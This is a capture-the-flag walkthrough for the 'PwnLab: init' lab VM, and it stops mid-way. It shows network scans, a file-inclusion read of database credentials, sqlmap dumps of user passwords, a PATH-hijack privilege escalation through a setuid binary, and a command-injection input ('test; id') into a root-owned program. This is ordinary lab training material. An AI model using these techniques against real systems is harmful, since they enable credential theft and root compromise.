“Wellcome to \"PwnLab: init\”, my first Boot2Root virtual machine. Meant to be easy, I hope you enjoy it and maybe learn something. The purpose of this CTF is to get root and read de flag.“ – Claor
More information and OVA file download please check here.
Attacker & Target
Attacker: Kali2 Linux (10.1.1.132/24)
Target: PwnLab: init (10.1.1.140/24)
Vulnerability & Exploit
Local File Inclusion vulnerability
Dump DB tables and crack user credentials
Login and upload webshell/Reverse PHP Shell
Bypass File Extension limit
Exploit setuid sticky bit set file/program to privilege escape
Method
Scanned the network to discover the target server [arp-scan]
Port scanned the target to discover running services and open ports [masscan && nmap]
Web application scanned to dig more information about web service [nikto]
Local File Inclusion vulnerability found and exploited to discover MySQL login information
Login to MySQL DB and download user table to obtain user/pass
Login to Web application as privilege user and upload webshell/PHP reverse shell
Enumeration after get into the target server and escape to different users
Exploit setuid stikcy bit set program to get ROOT
Tools
All the tools used here can be found in Kali Linux
Using arp-scan as routine to detect the target’s IP address.
12345678910
root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)10.1.1.1 00:50:56:c0:00:08 VMware, Inc.
10.1.1.2 00:50:56:f1:61:7e VMware, Inc.
10.1.1.140 00:0c:29:11:ce:27 VMware, Inc.
10.1.1.254 00:50:56:ee:0a:4f VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.312 seconds (110.73 hosts/sec). 4 responded
10.1.1.140 is our Target!
Then run masscan to detect opening ports on the target (masscan is much faster than nmap when doing a full ports scan, so here I use it to make a full scan and then use nmap to do a deep scan on target ports).
12345678910
root@kali:~# masscan -p1-65535 10.1.1.140/32 --rate=10000
Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2016-08-22 13:17:05 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]Discovered open port 111/tcp on 10.1.1.140
Discovered open port 3306/tcp on 10.1.1.140
Discovered open port 80/tcp on 10.1.1.140
Discovered open port 59968/tcp on 10.1.1.140
...truncated...
Nmap scan report for 10.1.1.140
Host is up (0.00028s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)|_http-title: PwnLab Intranet Image Hosting
111/tcp open rpcbind 2-4 (RPC #100000)| rpcinfo:
| program version port/proto service
|100000 2,3,4 111/tcp rpcbind
|100000 2,3,4 111/udp rpcbind
|1000241 35271/udp status
|_ 1000241 59968/tcp status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 53
| Version: .5.47-0+deb8u1
| Thread ID: 38
| Capabilities flags: 63487
| Some Capabilities: ODBCClient, LongPassword, SupportsCompression, Speaks41ProtocolOld, InteractiveClient, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, ConnectWithDatabase, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, LongColumnFlag, FoundRows, SupportsTransactions, Support41Auth
| Status: Autocommit
|_ Salt: &AVi2YKInpe-Lv1.3R&d
59968/tcp open status 1(RPC #100024)MAC Address: 00:0C:29:11:CE:27 (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
...truncated...
Based on the result of NMAP scan, firstly, I found port 80 and 3306 is open.
In the meanwhile, I run nikto to scan web vulnerabilities.
12345678910111213141516
- Nikto v2.1.6/2.1.5
+ Target Host: 10.1.1.140
+ Target Port: 80
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type+ GET IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: GET IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.1.1/images/".
+ SZYEPUYV Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ GET Cookie PHPSESSID created without the httponly flag
+ GET /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: GET /images/: Directory indexing found.
+ OSVDB-3268: GET /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ GET Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80
+ OSVDB-3233: GET /icons/README: Apache default file found.
+ GET /login.php: Admin login page/section found.
From the nikto scan, I noticed that /login.php is found which could be the Admin login page, and /images/ directory indexing found, and last but not least, /config.php is found which may contain database IDs and passowrds.
Then I use firefox to open the target website and have a look around.
I was hanging on here for quite a while, after trying brute force the login, tring SQL injection and trying brute force directory but all failed… I finally found a LFI vulnerability on the page parameter.
by exploiting this LFI vulnerability and based on the previous Nickto scan result (config.php is found and may contain DB login):
Cool, now I got the database ROOT login (root/H4u%QJ_H99) and the DB name is Users, then I use sqlmap to check target DB
12345678910111213141516171819202122232425262728
root@kali:~/myExercises/pwnlab_init# sqlmap -d 'mysql://root:H4u%QJ_H99@10.1.1.140:3306/Users' --tables -D Users
_
___ ___||_____ ___ ___ {1.0.8.2#dev}|_ -| . ||| .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:02:54
[20:02:54][INFO] connection to mysql server 10.1.1.140:3306 established
[20:02:54][INFO] testing MySQL
[20:02:54][INFO] resumed: [[u'1']]...
[20:02:54][INFO] confirming MySQL
[20:02:54][INFO] resumed: [[u'1']]...
[20:02:54][INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[20:02:54][INFO] fetching tables for database: 'Users'Database: Users
[1 table]+-------+
| users |+-------+
[20:02:54][INFO] connection to mysql server 10.1.1.140:3306 closed
[*] shutting down at 20:02:54
root@kali:~/myExercises/pwnlab_init# sqlmap -d 'mysql://root:H4u%QJ_H99@10.1.1.140:3306/Users' --dump -T users -D Users
_
___ ___||_____ ___ ___ {1.0.8.2#dev}|_ -| . ||| .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:03:23
[20:03:24][INFO] connection to mysql server 10.1.1.140:3306 established
[20:03:24][INFO] testing MySQL
[20:03:24][INFO] resumed: [[u'1']]...
[20:03:24][INFO] confirming MySQL
[20:03:24][INFO] resumed: [[u'1']]...
[20:03:24][INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[20:03:24][INFO] fetching columns for table 'users' in database 'Users'[20:03:24][INFO] resumed: [[u'user', u'varchar(30)'], [u'pass', u'varchar(30)']]...
[20:03:24][INFO] fetching entries for table 'users' in database 'Users'[20:03:24][INFO] analyzing table dump for possible password hashes
Database: Users
Table: users
[3 entries]+------------------+--------+
| pass | user |+------------------+--------+
|aVN2NVltMkdSbw==| kane ||Sld6WHVCSkpOeQ==| kent ||U0lmZHNURW42SQ==| mike |+------------------+--------+
[20:03:24][INFO] table 'Users.users' dumped to CSV file '/root/.sqlmap/output/10.1.1.140/dump/Users/users.csv'[20:03:24][INFO] connection to mysql server 10.1.1.140:3306 closed
[*] shutting down at 20:03:24
Cool, here we go, got the username and password (base64 encoded), and the user/pass are:
123
kane / iSv5Ym2GRo
kent / JWzXuBJJNy
mike / SIfdsTEn6I
I also checked if I can write file via MySQL, but sounds like we don’t have enough privilege.
123456789101112131415161718192021222324252627
root@kali:~/myExercises/pwnlab_init# sqlmap -d 'mysql://root:H4u%QJ_H99@10.1.1.140:3306/Users' --current-user --is-dba
_
___ ___||_____ ___ ___ {1.0.8.2#dev}|_ -| . ||| .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:37:40
[22:37:40][INFO] connection to mysql server 10.1.1.140:3306 established
[22:37:40][INFO] testing MySQL
[22:37:40][INFO] resumed: [[u'1']]...
[22:37:40][INFO] confirming MySQL
[22:37:40][INFO] resumed: [[u'1']]...
[22:37:40][INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[22:37:40][INFO] fetching current user
current user: 'root@%'[22:37:40][INFO] testing if current user is DBA
[22:37:40][INFO] fetching current user
[22:37:40][WARNING](remote)(_mysql_exceptions.OperationalError)(1142, "SELECT command denied to user 'root'@'10.1.1.132' for table 'user'")current user is DBA: False
[22:37:40][INFO] connection to mysql server 10.1.1.140:3306 closed
[*] shutting down at 22:37:40
Due to the current user is not DBA, I could not write file via MySQL ROOT account.
After login as user kane, I’m trying to upload php reverse shell, but the web application only accept image files.
In order to bypass the file extention limit, I downloaded the file upload.php by using the previouse LFI exploition method.
www-data@pwnlab:/tmp$ su mike
su mike
Password: SIfdsTEn6I
su: Authentication failure
www-data@pwnlab:/tmp$ su kent
su kent
Password: JWzXuBJJNy
kent@pwnlab:/tmp$ id
id
uid=1001(kent)gid=1001(kent)groups=1001(kent)kent@pwnlab:/tmp$ cd /home/kent
cd /home/kent
kent@pwnlab:~$ ls -la
ls -la
total 20
drwxr-x--- 2 kent kent 4096 Mar 17 10:06 .
drwxr-xr-x 6 root root 4096 Mar 17 10:09 ..
-rw-r--r-- 1 kent kent 220 Mar 17 10:06 .bash_logout
-rw-r--r-- 1 kent kent 3515 Mar 17 10:06 .bashrc
-rw-r--r-- 1 kent kent 675 Mar 17 10:06 .profile
kent@pwnlab:~$ sudo -l
sudo -l
bash: sudo: command not found
kent@pwnlab:/$ su kane
su kane
Password: iSv5Ym2GRo
kane@pwnlab:/$ id
id
uid=1003(kane)gid=1003(kane)groups=1003(kane)kane@pwnlab:/$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ls -la
ls -la
total 28
drwxr-x--- 2 kane kane 4096 Mar 17 13:04 .
drwxr-xr-x 6 root root 4096 Mar 17 10:09 ..
-rw-r--r-- 1 kane kane 220 Mar 17 10:09 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 10:09 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17 13:04 msgmike
-rw-r--r-- 1 kane kane 675 Mar 17 10:09 .profile
kane@pwnlab:~$
Both kent and kane can be logged in successfully, but there is interesting file under kane’s home directory, msgmike which the setuid bit is set.
By running msgmike, I found it will call system commaned cat.
123
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
In order to escape to mike, I create a executable file cat under the local directory and set the environmental variable PATH to include .:
1234567891011121314151617181920
kane@pwnlab:~$ export PATH=.:$PATHexport PATH=.:$PATHkane@pwnlab:~$ echo$PATHecho$PATH.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ echo"/bin/bash" > cat
echo"/bin/bash" > cat
kane@pwnlab:~$ chmod +x cat
chmod +x cat
kane@pwnlab:~$ ls -la
ls -la
total 32
drwxr-x--- 2 kane kane 4096 Aug 24 08:49 .
drwxr-xr-x 6 root root 4096 Mar 17 10:09 ..
-rw-r--r-- 1 kane kane 220 Mar 17 10:09 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 10:09 .bashrc
-rwxrwxrwx 1 kane kane 10 Aug 24 08:49 cat
-rwsr-sr-x 1 mike mike 5148 Mar 17 13:04 msgmike
-rw-r--r-- 1 kane kane 675 Mar 17 10:09 .profile
Then run the ./msgmike to escape to user mike:
123456
kane@pwnlab:~$ ./msgmike
./msgmike
mike@pwnlab:~$ id
id
uid=1002(mike)gid=1002(mike)groups=1002(mike),1003(kane)mike@pwnlab:~$
After promoted to mike, I found another setuid bit set file msg2root:
1234567891011121314151617
mike@pwnlab:/home/mike$ ls -la
ls -la
total 28
drwxr-x--- 2 mike mike 4096 Mar 17 15:19 .
drwxr-xr-x 6 root root 4096 Mar 17 10:09 ..
-rw-r--r-- 1 mike mike 220 Mar 17 10:08 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17 10:08 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17 13:07 msg2root
-rw-r--r-- 1 mike mike 675 Mar 17 10:08 .profile
mike@pwnlab:/home/mike$ mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: test; id
test; id
testuid=1002(mike)gid=1002(mike)euid=0(root)egid=0(root)groups=0(root),1003(kane)mike@pwnlab:/home/mike$
Also I noticed that command injection vulnerability exists.
Then I upload setuid.c file to target server and compile it.